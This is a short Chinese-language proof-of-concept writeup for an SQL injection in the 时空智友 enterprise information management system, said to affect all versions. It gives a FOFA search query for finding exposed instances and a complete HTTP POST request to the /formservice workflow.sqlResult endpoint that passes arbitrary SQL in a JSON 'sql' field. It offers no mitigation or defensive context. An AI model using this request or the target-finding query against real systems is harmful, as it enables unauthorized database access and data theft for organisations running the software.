时空智友企业信息管理系统 sql注入

影响版本

时空智友企业信息管理系统所有版本

网络空间测绘

fofo：body=“时空智友企业信息管理”

复现

POST /formservice?service=workflow.sqlResult HTTP/1.1          
Host: ip:port          
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0          
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8          
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2          
Accept-Encoding: gzip, deflate          
Connection: close          
Upgrade-Insecure-Requests: 1          
Content-Length: 50          


          
{"params": {"a": "1"}, "sql": "select db_name()"}